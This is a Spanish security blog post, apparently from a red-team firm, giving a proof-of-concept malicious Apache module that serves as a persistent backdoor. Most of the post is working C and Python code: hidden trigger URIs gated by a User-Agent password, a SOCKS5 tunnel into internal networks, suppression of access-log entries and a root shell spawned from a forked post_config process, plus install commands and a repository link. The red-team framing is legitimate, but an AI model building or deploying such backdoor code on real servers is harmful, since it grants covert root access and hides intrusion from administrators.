Backdoors en el stack XAMP (parte III): modulos Apache
Tabla de contenidos
Esta tercera entrega de la serie de backdoors para servidores web basados en el stack XAMP (Apache / MySQL / PHP) se centrará en el desarrollo de módulos Apache en el contexto de una operación del Red Team. La utilización de módulos y plugins para servidores web como método de persistencia es una táctica vieja y bien conocida (ejemplo: Linux/Cdorked.A de 2013 ) que sigue estando a la orden del día.
Recientemente el grupo OilRig utilizó un módulo malicioso para IIS (RGDoor) como backdoor en diferentes servidores web de oriente medio. Es por ello que, dependiendo del grado de madurez del cliente, es un método de persistencia más a tener en cuenta para los TTPs utilizados durante una operación del Red Team.
En este articulo se explorará la creación de un módulo Apache a modo de prueba de concepto. El módulo implementará:
– Un socks5 para tunelizar tráfico desde el exterior a la red interna.
– Ocultación de logs HTTP.
– Ejecución de comandos a través de una shell (usuario root).
Todo el código de la PoC será subido al repositorio https://github.com/TarlogicSecurity/mod_ringbuilder .
Introducción a los módulos Apache
A través de los módulos Apache se pueden añadir e integrar funcionalidades nuevas en un servidor web. Algunos ejemplos de módulos legítimos que se pueden encontrar en una instalación al uso son mod_ssl, mod_php, etc. En este caso se va a desarrollar un pequeño módulo que sirva por un lado como persistencia básica para retomar el acceso a una red comprometida y por otro como herramienta durante la intrusión.
A la hora de crear un módulo, Apache brinda una serie de hooks en los que definir código que será ejecutado en las distintas fases del proceso. En este caso estamos interesados en los siguientes 3 hooks:
– ap_hook_post_config. Se ejecuta inmediatamente después de parsear la configuración y antes de que el proceso disminuya sus privilegios pasando de root a www-data (u otro usuario al efecto).
– ap_hook_post_read_request. Ejecuta el código después de aceptar la petición y permite leer y/o modificar el contenido de la misma. Usuario no privilagiado (www-data o similar).
– ap_hook_log_transaction. Código que se ejecuta cuando se guarda un log de la petición.
El hook “post_config” será utilizado para alojar el código que desempeñará aquellas tareas que requieran de un usuario privilegiado. En la prueba de concepto que ocupa en este artículo será utilizado para obtener una shell con el usuario root. El siguiente hook, “post_read_request”, será el encargado de parsear las peticiones HTTP y localizar si alguna acción es solicitada al backdoor; mientras que el último “log_transaction” será el utilizado para evitar que se logueen las peticiones HTTP deseadas.
Un esqueleto mínimo para la PoC sería el siguiente:
static void ringbuilder_register_hooks(apr_pool_t *p){ ap_hook_post_read_request((void *) ringbuilder_post_read_request, NULL, NULL, APR_HOOK_FIRST); ap_hook_post_config((void *) ringbuilder_post_config, NULL, NULL, APR_HOOK_FIRST); ap_hook_log_transaction(ringbuilder_log_transaction, NULL, NULL, APR_HOOK_FIRST); } module AP_MODULE_DECLARE_DATA ringbuilder_module = { STANDARD20_MODULE_STUFF, NULL, /* create per-dir config structures */ NULL, /* merge per-dir config structures */ NULL, /* create per-server config structures */ NULL, /* merge per-server config structures */ NULL, /* table of config file commands */ ringbuilder_register_hooks /* register hooks */ };
En él se declara la información del módulo (bautizado como “ringbuilder”) y se indica la función encargada de realizar el registro de los hooks (ringbuilder_register_hooks). Al analizar esta función se observa como asocia una función propia a un hook determinado. La constante APR_HOOK_FIRST es utilizada para indicar la prioridad de orden para la ejecución del hook (Apache clasifica el orden de ejecución de los módulos cargardos entre las categorías FIRST, MIDDLE y LAST), permitiendo de esta forma que este hook sea invocado antes que otros que haya en la cola.
Los módulos serán compilados e instalados en este artículo utilizando la utilidad apxs:
sudo apxs -i -a -c mod_ringbuilder.c && sudo service apache2 restart
A través de APXS se compila el módulo, se copia el .so generado en la carpeta de Apache para módulos y se modifica el archivo de configuración para cargarlo, añadiendo la siguiente línea (apxs lo hace automáticamente, no es necesario realizar esta tarea, en un servidor comprometido sí deberá de hacerse manualmente):
LoadModule ringbuilder_module /usr/lib/apache2/modules/mod_ringbuilder.so
Comunicación con el backdoor
La comunicación con el backdoor se va a realizar utilizado el propio protocolo HTTP en primera instancia. Para disparar en ringbuilder una acción concreta se puede, por ejemplo, utilizar la URI presente en una petición HTTP. Se deberá de mapear cada acción con una URI diferente. En este caso, por ejemplo, se van a utilizar las siguientes acciones:
#define SOCKSWORD "/w41t1ngR00M" //Fugazi #define PINGWORD "/h0p3" //Descendents #define SHELLWORD "/s4L4dD4ys" //Minor Threat
La URI prensente en la petición HTTP puede ser extraída del campo “uri” de la estructura request_rec , construyendo en la función asociada al hook “post_read_request” algo similar a:
static int ringbuilder_post_read_request(request_rec *r) { if (!strcmp(r->uri, SOCKSWORD)) { ... } if (!strcmp(r->uri, PINGWORD)) { ... } if (!strcmp(r->uri, SHELLWORD)) { ... } return DECLINED; }
El valor de retorno de la función en caso de que la URI suministrada no coincida con ninguna de las esperadas es la constante DECLINED. A través de este valor devuelto se le indica a Apache que no se está interesado en gestionar esta petición y continúa su procesamiento por los siguientes módulos en el stack, de esta forma el funcionamiento no se ve interrumpido en modo alguno y el backdoor (a nivel de comportamiento) pasa desapercibido.
No obstante, además de utilizar cadenas de texto poco frecuentes para evitar la colisión en una petición HTTP legítima, es necesario proteger el backdoor con algún tipo de autenticación sencilla como una contraseña. Lo ideal podría ser utilizar un header común (el User-Agent, por ejemplo) y comprobar si una determinada cadena de texto que actúa de contraseña se encuentra en el mismo. En esta PoC se utiliza una cadena de texto “vistosa” pero, en una operación real, lo ideal sería utilizar un User-Agent que sea una ligera variación de uno real para que pase desaparecibido.
... #define PASSWORD "1w4NN4b3Y0uRd0g" //Iggy Pop & The Stooges ... static int ringbuilder_post_read_request(request_rec *r) { const apr_array_header_t *fields; apr_table_entry_t *e = 0; int i = 0; int backdoor = 0; fields = apr_table_elts(r->headers_in); e = (apr_table_entry_t *) fields->elts; for(i = 0; i < fields->nelts; i++) { if (!strcmp(e[i].key,"User-Agent")) { if (!strcmp(e[i].val, PASSWORD)) { backdoor = 1; } } } if (backdoor == 0) { return DECLINED; } ... }
En esta porción de código lo que se hace es recorrer todos los headers presentes en la petición HTTP y comprobar si existe el header “User-Agent”, y de ser así si este posee como valor la contraseña que hemos definido. En caso negativo, la función retorna la constante DECLINED y no continúa.
Si bien esta primera petición HTTP actúa como disparador del backdoor, el resto de la comunicación se va a realizar reutilizando el propio socket abierto para esta comunicación HTTP. Esto es tremendamente interesante ya que reduce el número de conexiones necesarias. Por contra partida, no es un método viable cuando el servidor web se encuentra detrás de un proxy inverso o un balanceador; en estos casos se deberá recurrir a embeber la comunicación dentro del protocolo HTTP, utilizando el cuerpo de las peticiones POST para enviar los datos al backdoor y recibir de éste los datos a través del contenido de la respuesta del servidor (mismas mecánicas que se seguiría con una webshell, por ejemplo).
... typedef struct sock_userdata_t sock_userdata_t; typedef struct apr_socket_t { apr_pool_t *cntxt; int socketdes; int type; int protocol; apr_sockaddr_t *local_addr; apr_sockaddr_t *remote_addr; apr_interval_time_t timeout; int local_port_unknown; int local_interface_unknown; int remote_addr_unknown; apr_int32_t netmask; apr_int32_t inherit; sock_userdata_t *userdata; } apr_socket_t; ... static int ringbuilder_post_read_request(request_rec *r) { ... int fd; apr_socket_t *client_socket; extern module core_module; ... client_socket = ap_get_module_config(r->connection->conn_config, &core_module); if (client_socket) { fd = client_socket->socketdes; // Socket } ... }
A partir de este momento se podrán realizar reads / writes sobre `fd` para comunicar el cliente con el backdoor. Lo que se escriba será enviado por el socket hasta el cliente, mientras que el backdoor podrá obtener datos del cliente realizando lecturas del mismo. Como ejemplo de esta comunicación, se muestra la función más simple: responder una petición de PING con un PONG para saber que el servidor continúa infectado.
if (!strcmp(r->uri, PINGWORD)) { write(fd, "Alive!", strlen("Alive!")); exit(0); }
Al utilizar un exit(), en vez de retornar un DECLINED como se hizo anteriormente, se consigue evitar que el proceso continúe y llegue hasta el punto de loguear la petición.
Para el cliente que interactuará con el backdoor se puede utilizar un pequeño script en python, que, como esqueleto, sea similar a:
def connector(endpoint): ringbuilder = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: ringbuilder.connect((args.host, int(args.port))) except socket.error as err: if err.args[0] in (EINPROGRESS, EWOULDBLOCK): pass else: print "\t[!] Error: could not connect to ringbuilder. Host or port wrong?" print err return ringbuilder.send("GET " + endpoint + " HTTP/1.1\r\nHost: " + args.host + "\r\nUser-Agent: " + args.passwd + "\r\n\r\n") return ringbuilder def ping(): ringbuilder = connector("/h0p3") if (ringbuilder.recv(1024) == "Alive!"): print "[+] RingBuilder is installed" else: print "[-] RingBuilder is NOT installed" parser = argparse.ArgumentParser(description='RingBuilder Client.') parser.add_argument('--host', dest='host', help='RingBuilder Endpoint Host') parser.add_argument('--port', dest='port', help='RingBuilder Endpoint Port') parser.add_argument('--password', dest='passwd', help='RingBuilder Password') parser.add_argument('--ping', dest='ping', action='store_true', help='Check if backdoor still alive') args = parser.parse_args() if __name__ == '__main__': if not args.host or not args.port or not args.passwd: print "[!] Error: please provide a valid endpoint and password (use -h to check syntax)" exit(-1) if args.ping: ping()
A partir de estos esqueletos de código se edificará el resto de la prueba de concepto.
Tunelizando tráfico
La primera funcionalidad deseable para el módulo Apache de cara a una operación del Red Team es la posibilidad de funcionar como punto de pivote desde el cual tunelizar tráfico hacia las redes internas del cliente. El método más sencillo para lograr esta finalidad es implementar un proxy socks5 en el módulo y utilizar en local proxychains para dirigir el tráfico de las herramientas hacia los activos deseados. A fin de evitar la reinvención de la rueda se puede utilizar alguna implementación previa de Socks5, por ejemplo esta https://github.com/fgssfgss/socks_proxy donde sólo se debe adaptar el código de la función `app_thread_process` en adelante, quedando algo tipo:
...//Check github repo to see all code void *worker(int fd) { int inet_fd = -1; int command = 0; unsigned short int p = 0; socks5_invitation(fd); socks5_auth(fd); command = socks5_command(fd); if (command == IP) { char *ip = NULL; ip = socks5_ip_read(fd); p = socks5_read_port(fd); inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd); if (inet_fd == -1) { exit(0); } socks5_ip_send_response(fd, ip, p); free(ip); } app_socket_pipe(inet_fd, fd); close(inet_fd); exit(0); } static int ringbuilder_post_read_request(request_rec *r) { int fd; apr_socket_t *client_socket; extern module core_module; const apr_array_header_t *fields; int i = 0; apr_table_entry_t *e = 0; int backdoor = 0; fields = apr_table_elts(r->headers_in); e = (apr_table_entry_t *) fields->elts; for(i = 0; i < fields->nelts; i++) { if (!strcmp(e[i].key,"User-Agent")) { if (!strcmp(e[i].val, PASSWORD)) { backdoor = 1; } } } if (backdoor == 0) { return DECLINED; } client_socket = ap_get_module_config(r->connection->conn_config, &core_module); if (client_socket) { fd = client_socket->socketdes; } ... if (!strcmp(r->uri, SOCKSWORD)) { worker(fd); exit(0); } ... return DECLINED }
De esta forma el cliente debería enviar una petición HTTP cuya URI sea la definida en SOCKSWORD (en este caso, “/w41t1ngR00M”) y reutilizar el socket para comunicar proxychains con ringbuilder. Para realizar la conexión entre ambos se puede añadir una pequeña funcionalidad al script que haga de “puente”. Este “puente” se encargaría de establecer un socket a la escucha en un puerto local (que sería el configurable en proxychains) y otro socket conectado a Ringbuilder, realizando un relay entre ambos.
def worker(afference, addr): print "\t[*] New Connection!" print "\t[*] Trying to reach RingBuilder..." ringbuilder = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ringbuilder.setblocking(0) try: ringbuilder.connect((args.host, int(args.port))) except socket.error as err: if err.args[0] in (EINPROGRESS, EWOULDBLOCK): pass else: print "\t[!] Error: could not connect to ringbuilder. Host or port wrong?" print err return if args.debug: print "\t[+] Connected to RingBuilder!" if args.socks5: path = "/w41t1ngR00M" ringbuilder.send("GET " + path + " HTTP/1.1\r\nHost: " + args.host + "\r\n" + "User-Agent: " + args.passwd + "\r\n\r\n") afference.setblocking(0) while True: readable, writable, errfds = select.select([afference, ringbuilder], [], [], 60) for sock in readable: if sock is afference: message = afference.recv(2048) if len(message) == 0: print "\t[x] Service disconnected!" return if args.debug: print "\t\t--> Service" print message.encode("hex") ringbuilder.sendall(message) if sock is ringbuilder: data = ringbuilder.recv(2048) if len(data) == 0: print "\t[x] RingBuilder disconnected!" return if args.debug: print "\t\t<-- RingBuilder" print data.encode("hex") afference.sendall(data) def relay(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if args.socks5: point = int(args.socks5) s.bind(("0.0.0.0",point)) except Exception as err: print "[!] Error: could not bind to port" print err exit(0) s.listen(10) while True: clientsock, addr = s.accept() thread.start_new_thread(worker, (clientsock, addr)) def ping(): ringbuilder = connector("/h0p3") if (ringbuilder.recv(1024) == "Alive!"): print "[+] RingBuilder is installed" else: print "[-] RingBuilder is NOT installed" parser = argparse.ArgumentParser(description='RingBuilder Client.') parser.add_argument('--host', dest='host', help='RingBuilder Endpoint Host') parser.add_argument('--port', dest='port', help='RingBuilder Endpoint Port') parser.add_argument('--password', dest='passwd', help='RingBuilder Password') parser.add_argument('--socks5', dest='socks5', help='Set port for proxychains') parser.add_argument('--debug', dest='debug', action='store_true', help='Enable debug mode') parser.add_argument('--ping', dest='ping', action='store_true', help='Check if backdoor still alive') args = parser.parse_args() if __name__ == '__main__': if not args.host or not args.port or not args.passwd: print "[!] Error: please provide a valid endpoint and password (use -h to check syntax)" exit(-1) if args.socks5: print "[+] Starting local server for incoming connections at port " + args.socks5 relay() if args.ping: ping()
Se configura proxychains para utilizar un puerto cualquiera (/etc/proxychains.conf). De esta forma, por ejemplo, es posible lanzar un curl desde el exterior que llegará a ringbuilder y de éste a un objetivo de la red interna del cliente:
Bloqueando logs
Otra posible utilidad de este módulo Apache puede ser la de, por ejemplo, ocultar aquellas actividades que se lleven a cabo en el servidor web. Si el backdoor es desplegado a modo de persistencia, lo ideal es aprovechar sus características más pasivas (es decir, no utilizarlo directamente para ejecutar comandos o hacer de proxy) como por ejemplo la de ocultar trazas de la actividad. Si en ese servidor se despliegan webshells u otras utilidades web y no se desea que su utilización quede reflejada en el access.log, es posible utilizar un hook que ejecute un exit(0) antes de insertar la línea de log si el User-Agent se corresponde a nuestra password.
... static int ringbuilder_log_transaction(request_rec *r) { const apr_array_header_t *fields; int i; apr_table_entry_t *e = 0; int backdoor = 0; fields = apr_table_elts(r->headers_in); e = (apr_table_entry_t *) fields->elts; for(i = 0; i < fields->nelts; i++) { if (!strcmp(e[i].key,"User-Agent")) { if (!strcmp(e[i].val, PASSWORD)) { backdoor = 1; //Exit() Could be here, but maybe we want to do other things like spoofing } } } if (backdoor == 0) { return DECLINED; } exit(0); } ...
De esta forma cuando se interactúe con este servidor web, se deberá de utilizar un proxy (burp, por ejemplo) que reemplace el User-Agent por el utilizado como contraseña.
Shell con usuario root
La última característica que poseerá este backdoor en forma de módulo Apache es la de ejecutar comandos como un usuario privilegiado. Tal y como se había mencionado al inicio de este artículo, para ejecutar código como un usuario privilegiado se puede hacer uso del hook “post_config”, ya que éste es invocado antes de que se transfiera el proceso del usuario root al www-data (o equivalente). El único escollo que se debe de sortear con esta aproximación es el hecho de que este hook sólo se ejecuta en el momento de cargar la configuración del proceso y no cada vez que el servidor procesa una nueva petición. Una posible aproximación (y será que se use en esta prueba de concepto) es utilizar el hook “post_config” para forkear el proceso: el padre continúa su flujo de ejecución natural (se convierte en www-data y procesa las peticiones) mientras que el hijo (que sigue pertenciendo a root) entra en un bucle a la espera de órdenes que reciba a través de algún IPC.
El IPC elegido para llevar a cabo la comunicación entre procesos va a ser un socket UNIX por su sencillez. El proceso “hijo” que se sigue ejecutando como root va a bindearse al socket UNIX y quedarse a la escucha de nuevas conexiones. Cuando llegue una nueva petición HTTP cuya URI se corresponda a la palabra que desencadenará la acción “dame shell”, se conectará al socket y se enviará una palabra concreta (por ejemplo “SHELL”). Al detectar esta palabra, el proceso hijo (“root”) se forkeará y ejecutará un /bin/bash donde el STDIN, STDOUT y STDERR es asociado al socket de la nueva conexión.
... #define IPC "/tmp/mod_ringbuilder" ... ringbuilder_post_config(apr_pool_t *pconf, apr_pool_t *plog, apr_pool_t *ptemp, server_rec *s) { pid = fork(); if (pid) { return OK; } int master, i, rc, max_clients = 30, clients[30], new_client, max_sd, sd; struct sockaddr_un serveraddr; char buf[1024]; fd_set readfds; for (i = 0; i < max_clients; i++) { clients[i] = 0; } master = socket(AF_UNIX, SOCK_STREAM, 0); if (sd < 0) { exit(0); } memset(&serveraddr, 0, sizeof(serveraddr)); serveraddr.sun_family = AF_UNIX; strcpy(serveraddr.sun_path, IPC); rc = bind(master, (struct sockaddr *)&serveraddr, SUN_LEN(&serveraddr)); if (rc < 0) { exit(0); } listen(master, 5); chmod(serveraddr.sun_path, 0777); while(1) { FD_ZERO(&readfds); FD_SET(master, &readfds); max_sd = master; for (i = 0; i < max_clients; i++) { sd = clients[i]; if (sd > 0) { FD_SET(sd, &readfds); } if (sd > max_sd) { max_sd = sd; } } select (max_sd +1, &readfds, NULL, NULL, NULL); if (FD_ISSET(master, &readfds)) { new_client = accept(master, NULL, NULL); for (i = 0; i < max_clients; i++) { if (clients[i] == 0) { clients[i] = new_client; break; } } } for (i = 0; i < max_clients; i++) { sd = clients[i]; if (FD_ISSET(sd, &readfds)) { memset(buf, 0, 1024); if ((rc = read(sd, buf, 1024)) <= 0) { close(sd); clients[i] = 0; } else { if (strstr(buf, "SHELL")){ shell(sd); } } } } } }
Por otra parte:
static int ringbuilder_post_read_request(request_rec *r) { ... if (!strcmp(r->uri, SHELLWORD)) { if (pid) { char buf[1024]; int sd[2], i; sock = socket(AF_UNIX, SOCK_STREAM, 0); if (sock < 0) { write(fd, "ERRNOSOCK\n", strlen("ERRNOSOCK\n") + 1); exit(0); } server.sun_family = AF_UNIX; strcpy(server.sun_path, IPC); if (connect(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_un)) < 0){ close(sock); write(fd, "ERRNOCONNECT\n", strlen("ERRNOCONNECT\n") + 1); exit(0); } write(sock, "SHELL\n", strlen("SHELL\n") + 1); write(fd, "[+] Shell Mode\n", strlen("[+] Shell Mode\n") +1); sd[0] = sock; sd[1] = fd; while (1){ for(i = 0; i < 2; i++) { tv.tv_sec = 2; tv.tv_usec = 0; FD_ZERO(&readset); FD_SET(sd[i], &readset); sr = select(sock + 1, &readset, NULL, NULL, &tv); if (sr) { if (FD_ISSET(sd[i], &readset)) { memset(buf, 0, 1024); n = read(sd[i], buf, 1024); if (i == 0) { if (n <= 0) { write(fd, "ERRIPC\n", strlen("ERRIPC\n") + 1); exit(0); } write(fd, buf, strlen(buf) + 1); } else { if (n > 0) { write(sock, buf, strlen(buf) + 1); } else { exit(0); } } } } } } exit(0); } } return DECLINED; }
Al tratarse de una prueba de concepto simplemente ha sido implementada una shell sin pseudoterminal, en caso de desear ejecutar comandos en una shell con un TTY se puede utilizar forkpty() de la misma forma que fue explicado en el artículo sobre cómo obtener una shell interactiva a través de Bluetooth.
Conclusiones
Cuando un usuario eleva privilegios en un servidor comprometido la variedad de formas a través de las cuales puede mantener persistencia en el mismo es enorme. Es importante durante las interacciones entre Blue y Red Team, según el nivel de madurez, incluir paulatinamente TTPs diferentes que permitan simular los diferentes escenarios que se pueden encontrar en una intrusión real.
El código completo de la prueba de concepto se encuentra subido en https://github.com/TarlogicSecurity/mod_ringbuilder
Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/
En TarlogicTeo y en TarlogicMadrid.
Este artículo forma parte de una serie de articulos sobre Backdoors XAMP
- Backdoors en el stack XAMP (parte I): extensiones PHP
- Backdoors en el stack XAMP (parte II): UDF en MySQL
- Backdoors en el stack XAMP (parte III): modulos Apache